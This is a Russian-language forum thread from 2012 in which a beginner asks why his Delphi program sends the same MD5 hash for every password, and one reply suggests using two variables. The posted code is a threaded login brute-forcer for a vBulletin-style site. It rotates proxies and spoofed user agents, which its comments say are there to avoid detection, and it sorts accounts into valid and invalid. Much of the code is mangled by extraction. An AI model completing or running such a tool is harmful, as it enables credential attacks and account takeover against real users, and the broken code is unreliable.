1. Jordan Belfort12.03.2025 в 22:14от
  2. D1zo12.03.2025 в 22:05от
Загрузка...

MD5

Тема в разделе "С/С++/Pascal/Delphi", создана пользователем Ardinvest, 01.06.2012.

  1. Ardinvest

    Ardinvest

    Статус:
    Оффлайн
    Регистрация:
    24.05.12
    Сообщения:
    24
    Репутация:
    2 +/-
    Проблемма заключается в том что,при отправке пост запроса,каждый пароль должен отсылатся без шифрования и с шифрованием в MD5.Функцию MD5 подключил,но при отправке в MD5 хэше он отправляет один и тот же пароль.Кто может подсказать,как очищать MD5 хэш и чтоб при отправке одного пароля,он отсылал следующий в MD5 хэше,а не брал один и тот же.Извиняюсь за корявое изложение проблеммы,просто не знаю как правильно сформулировать.В Delphi я новичёк.Вот кусок кода:


    PHP:
    interface

    uses
      Windows
    MessagesSysUtilsVariantsClassesGraphicsControlsForms,
      
    DialogsIdBaseComponentIdComponentIdTCPConnectionIdTCPClient,
      
    IdHTTPStdCtrlsxpmanExtCtrlsGauges;

    type
      TForm1 
    = class(TForm)
        
    LogMemoTMemo;
        
    GroupBox1TGroupBox;
        
    Edit1TEdit;
        
    Button1TButton;
        
    IdHTTP1TIdHTTP;
        
    GroupBox2TGroupBox;
        
    Edit2TEdit;
        
    Button2TButton;
        
    GroupBox3TGroupBox;
        
    Label1TLabel;
        
    Label2TLabel;
        
    Label3TLabel;
        
    Label4TLabel;
        
    Label5TLabel;
        
    OpenDialog1TOpenDialog;
        
    Button3TButton;
        
    Button4TButton;
        
    ProcTGauge;
        
    Timer1TTimer;
        
    AllLabelTLabel;
        
    ProxyLabelTLabel;
        
    GoodLabelTLabel;
        
    BadLabelTLabel;
        
    ErrorLabelTLabel;
        
    procedure Button3Click(SenderTObject);
        
    procedure FormClose(SenderTObject; var ActionTCloseAction);
        
    procedure Button1Click(SenderTObject);
        
    procedure FormActivate(SenderTObject);
        
    procedure Button2Click(SenderTObject);
        
    procedure Button4Click(SenderTObject);
        
    procedure FormCreate(SenderTObject);
        
    procedure Timer1Timer(SenderTObject);
      private
        { Private 
    declarations }
      public 
    //Пусть функция будет доступна всем
      
    Function CheckAcc(loginpasswproxypport:string):integer;
        { Public 
    declarations }
      
    end;

      
    TBruteThread=class(TThread//Я уже писал об этом.
      
    Private
        Protected
          
    Procedure Execute;override;
      Public
        
    Constructor Create(CreateSuspendedboolean);
      
    end;

    var
      
    Form1TForm1;
      
    work:boolean;
      
    tpcoded:integer;
      
    GoodFile:TextFile;
      
    ProxyListSourceList:TStringList;
      
    UserAg: array [0..10of string=( //массив c user agent'ами дабы не просекли что идёт брут.
        
    'Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1',
        
    'Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable',
        
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19',
        
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload 3.0',
        
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104',
        
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)',
        
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)',
        
    'Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3',
        
    'Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01',
        
    'Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)',
        
    'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
      
    );
      
    S:string;
      
    H:string;

    implementation

    {$R *.dfm}

    Function 
    md5(H:string):String;
     var 
    a:array[0..15of byte;
         
    i:integer;
      
    LenHiLenLolongword;
      
    IndexDWord;
      
    HashBuffer: array[0..63of byte;
      
    CurrentHash: array[0..3of DWord;
      
    procedure Burn;
      
    begin
        LenHi
    := 0LenLo:= 0;
        
    Index:= 0;
        
    FillChar(HashBuffer,Sizeof(HashBuffer),0);
        
    FillChar(CurrentHash,Sizeof(CurrentHash),0);
      
    end;
     
    procedure Init;
     
    begin
       Burn
    ;
       
    CurrentHash[0]:= $67452301;
       
    CurrentHash[1]:= $efcdab89;
       
    CurrentHash[2]:= $98badcfe;
       
    CurrentHash[3]:= $10325476;
     
    end;
     function 
    LRot32(ablongword): longword;
     
    begin
       Result
    := (a shl b) or (a shr (32-b));
     
    end;
     
    procedure Compress;
     var
       
    Datas: array[0..15of dword;
       
    ABCDdword;
     
    begin
       Move
    (HashBuffer,Datas,Sizeof(Datas));
       
    A:= CurrentHash[0];
       
    B:= CurrentHash[1];
       
    C:= CurrentHash[2];
       
    D:= CurrentHash[3];
       
    A:= LRot32(+ (xor (and (xor D))) + Datas0] + $d76aa478,7);
       
    D:= LRot32(+ (xor (and (xor C))) + Datas1] + $e8c7b756,12);
       
    C:= LRot32(+ (xor (and (xor B))) + Datas2] + $242070db,17);
       
    B:= LRot32(+ (xor (and (xor A))) + Datas3] + $c1bdceee,22);
       
    A:= LRot32(+ (xor (and (xor D))) + Datas4] + $f57c0faf,7);
       
    D:= LRot32(+ (xor (and (xor C))) + Datas5] + $4787c62a,12);
       
    C:= LRot32(+ (xor (and (xor B))) + Datas6] + $a8304613,17);
       
    B:= LRot32(+ (xor (and (xor A))) + Datas7] + $fd469501,22);
       
    A:= LRot32(+ (xor (and (xor D))) + Datas8] + $698098d8,7);
       
    D:= LRot32(+ (xor (and (xor C))) + Datas9] + $8b44f7af,12);
       
    C:= LRot32(+ (xor (and (xor B))) + Datas[10] + $ffff5bb1,17);
       
    B:= LRot32(+ (xor (and (xor A))) + Datas[11] + $895cd7be,22);
       
    A:= LRot32(+ (xor (and (xor D))) + Datas[12] + $6b901122,7);
       
    D:= LRot32(+ (xor (and (xor C))) + Datas[13] + $fd987193,12);
       
    C:= LRot32(+ (xor (and (xor B))) + Datas[14] + $a679438e,17);
       
    B:= LRot32(+ (xor (and (xor A))) + Datas[15] + $49b40821,22);
       
    A:= LRot32(+ (xor (and (xor C))) + Datas1] + $f61e2562,5);
       
    D:= LRot32(+ (xor (and (xor B))) + Datas6] + $c040b340,9);
       
    C:= LRot32(+ (xor (and (xor A))) + Datas[11] + $265e5a51,14);
       
    B:= LRot32(+ (xor (and (xor D))) + Datas0] + $e9b6c7aa,20);
       
    A:= LRot32(+ (xor (and (xor C))) + Datas5] + $d62f105d,5);
       
    D:= LRot32(+ (xor (and (xor B))) + Datas[10] + $02441453,9);
       
    C:= LRot32(+ (xor (and (xor A))) + Datas[15] + $d8a1e681,14);
       
    B:= LRot32(+ (xor (and (xor D))) + Datas4] + $e7d3fbc8,20);
       
    A:= LRot32(+ (xor (and (xor C))) + Datas9] + $21e1cde6,5);
       
    D:= LRot32(+ (xor (and (xor B))) + Datas[14] + $c33707d6,9);
       
    C:= LRot32(+ (xor (and (xor A))) + Datas3] + $f4d50d87,14);
       
    B:= LRot32(+ (xor (and (xor D))) + Datas8] + $455a14ed,20);
       
    A:= LRot32(+ (xor (and (xor C))) + Datas[13] + $a9e3e905,5);
       
    D:= LRot32(+ (xor (and (xor B))) + Datas2] + $fcefa3f8,9);
       
    C:= LRot32(+ (xor (and (xor A))) + Datas7] + $676f02d9,14);
       
    B:= LRot32(+ (xor (and (xor D))) + Datas[12] + $8d2a4c8a,20);
       
    A:= LRot32(+ (xor xor D) + Datas5] + $fffa3942,4);
       
    D:= LRot32(+ (xor xor C) + Datas8] + $8771f681,11);
       
    C:= LRot32(+ (xor xor B) + Datas[11] + $6d9d6122,16);
       
    B:= LRot32(+ (xor xor A) + Datas[14] + $fde5380c,23);
       
    A:= LRot32(+ (xor xor D) + Datas1] + $a4beea44,4);
       
    D:= LRot32(+ (xor xor C) + Datas4] + $4bdecfa9,11);
       
    C:= LRot32(+ (xor xor B) + Datas7] + $f6bb4b60,16);
       
    B:= LRot32(+ (xor xor A) + Datas[10] + $bebfbc70,23);
       
    A:= LRot32(+ (xor xor D) + Datas[13] + $289b7ec6,4);
       
    D:= LRot32(+ (xor xor C) + Datas0] + $eaa127fa,11);
       
    C:= LRot32(+ (xor xor B) + Datas3] + $d4ef3085,16);
       
    B:= LRot32(+ (xor xor A) + Datas6] + $04881d05,23);
       
    A:= LRot32(+ (xor xor D) + Datas9] + $d9d4d039,4);
       
    D:= LRot32(+ (xor xor C) + Datas[12] + $e6db99e5,11);
       
    C:= LRot32(+ (xor xor B) + Datas[15] + $1fa27cf8,16);
       
    B:= LRot32(+ (xor xor A) + Datas2] + $c4ac5665,23);
       
    A:= LRot32(+ (xor (or (not D))) + Datas0] + $f4292244,6);
       
    D:= LRot32(+ (xor (or (not C))) + Datas7] + $432aff97,10);
       
    C:= LRot32(+ (xor (or (not B))) + Datas[14] + $ab9423a7,15);
       
    B:= LRot32(+ (xor (or (not A))) + Datas5] + $fc93a039,21);
       
    A:= LRot32(+ (xor (or (not D))) + Datas[12] + $655b59c3,6);
       
    D:= LRot32(+ (xor (or (not C))) + Datas3] + $8f0ccc92,10);
       
    C:= LRot32(+ (xor (or (not B))) + Datas[10] + $ffeff47d,15);
       
    B:= LRot32(+ (xor (or (not A))) + Datas1] + $85845dd1,21);
       
    A:= LRot32(+ (xor (or (not D))) + Datas8] + $6fa87e4f,6);
       
    D:= LRot32(+ (xor (or (not C))) + Datas[15] + $fe2ce6e0,10);
       
    C:= LRot32(+ (xor (or (not B))) + Datas6] + $a3014314,15);
       
    B:= LRot32(+ (xor (or (not A))) + Datas[13] + $4e0811a1,21);
       
    A:= LRot32(+ (xor (or (not D))) + Datas4] + $f7537e82,6);
       
    D:= LRot32(+ (xor (or (not C))) + Datas[11] + $bd3af235,10);
       
    C:= LRot32(+ (xor (or (not B))) + Datas2] + $2ad7d2bb,15);
       
    B:= LRot32(+ (xor (or (not A))) + Datas9] + $eb86d391,21);
       
    Inc(CurrentHash[0],A);
       
    Inc(CurrentHash[1],B);
       
    Inc(CurrentHash[2],C);
       
    Inc(CurrentHash[3],D);
       
    Index:= 0;
       
    FillChar(HashBuffer,Sizeof(HashBuffer),0);
     
    end;
     
    procedure Update(const BufferSizelongword);
     var
       
    PBuf: ^byte;
     
    begin
       Inc
    (LenHi,Size shr 29);
       
    Inc(LenLo,Size*8);
       if 
    LenLo< (Size*8then
         Inc
    (LenHi);
       
    PBuf:= @Buffer;
       while 
    Sizedo
       
    begin
         
    if (Sizeof(HashBuffer)-Index)<= DWord(Sizethen
         begin
           Move
    (PBuf^,HashBuffer[Index],Sizeof(HashBuffer)-Index);
           
    Dec(Size,Sizeof(HashBuffer)-Index);
           
    Inc(PBuf,Sizeof(HashBuffer)-Index);
           
    Compress;
         
    end
         
    else
         
    begin
           Move
    (PBuf^,HashBuffer[Index],Size);
           
    Inc(Index,Size);
           
    Size:= 0;
         
    end;
       
    end;
     
    end;
     
    procedure Final(var Digest);
     
    begin
       HashBuffer
    [Index]:= $80;
       if 
    Index>= 56 then Compress;
       
    PDWord(@HashBuffer[56])^:= LenLo;
       
    PDWord(@HashBuffer[60])^:= LenHi;
       
    Compress;
       
    Move(CurrentHash,Digest,Sizeof(CurrentHash));
       
    Burn;
     
    end;
    begin
     Init
    ;
     
    Update(s[1],Length(s));
     Final(
    a);
     
    result:='';
     for 
    i:=0 to 15 do
       
    result:=result+IntToHex(a[i], 2);
     
    Burn;
    end;

    function 
    TForm1.CheckAcc(loginpasswproxypportstring): integer;
    var 
    HTTP:TidHTTPsend:TStringListpg:string;
    begin
      HTTP
    :=TIdHTTP.Create(nil); //создаём компонент
      
    with HTTP do begin //устанавливаем настройки
        
    AllowCookies:=true//включаем куки
        
    HandleRedirects:=false//Запрещаем редирект на страницу
        
    ReadTimeout:=10000//Тайм аут на соединение (типо чекер прокси)
        
    ProxyParams.ProxyServer:=proxy//Присваиваем прокси хост
        
    ProxyParams.ProxyPort:=StrToInt(pport); //Присваиваем прокси порт
        
    randomize//Рандомизируем числа
        
    Request.UserAgent:=UserAg[random(10)]; // Присваиваем User Agent (типо мы через браузер заходим)
      
    end;

      
    //формируем параметры для POST запроса
      
    Send:=TStringList.Create;
      
    Send.Add('s=');
      
    Send.Add('do=login');
      
    Send.Add('vb_login_md5password='+MD5(passw));
      
    Send.Add('vb_login_md5password_utf='+MD5(passw));
      
    Send.Add('vb_login='+login);
      
    Send.Add('vb_password='+passw);
      try 
    //Перехват ошибок которые могут возникнуть во время отправки запроса
        
    HTTP.Request.Referer:='http://site.ru/'//Мы авторизируемся с главной страницы =)
        
    pg:=HTTP.Post('http://site.ru/login.php'send); //Отправляем запрос
        
    result:=2//если нету редиректа значит аккаунт не валидный. Пичалька...
      
    except
        
    if Pos('"valid":""',pg)<>0 then result:=else result:=1//Если код 302 (редирект) то успешно авторизировались!
      
    end;
      
    Send.Free//Удаляем созданные ранее переменные
      
    HTTP.Free//Удаляем созданные ранее компоненты

    end;
     
  2. TheRampage

    TheRampage

    Статус:
    Оффлайн
    Регистрация:
    06.09.12
    Сообщения:
    18
    Репутация:
    3 +/-
    сделай 2 переменные, md5_pass и clear_pass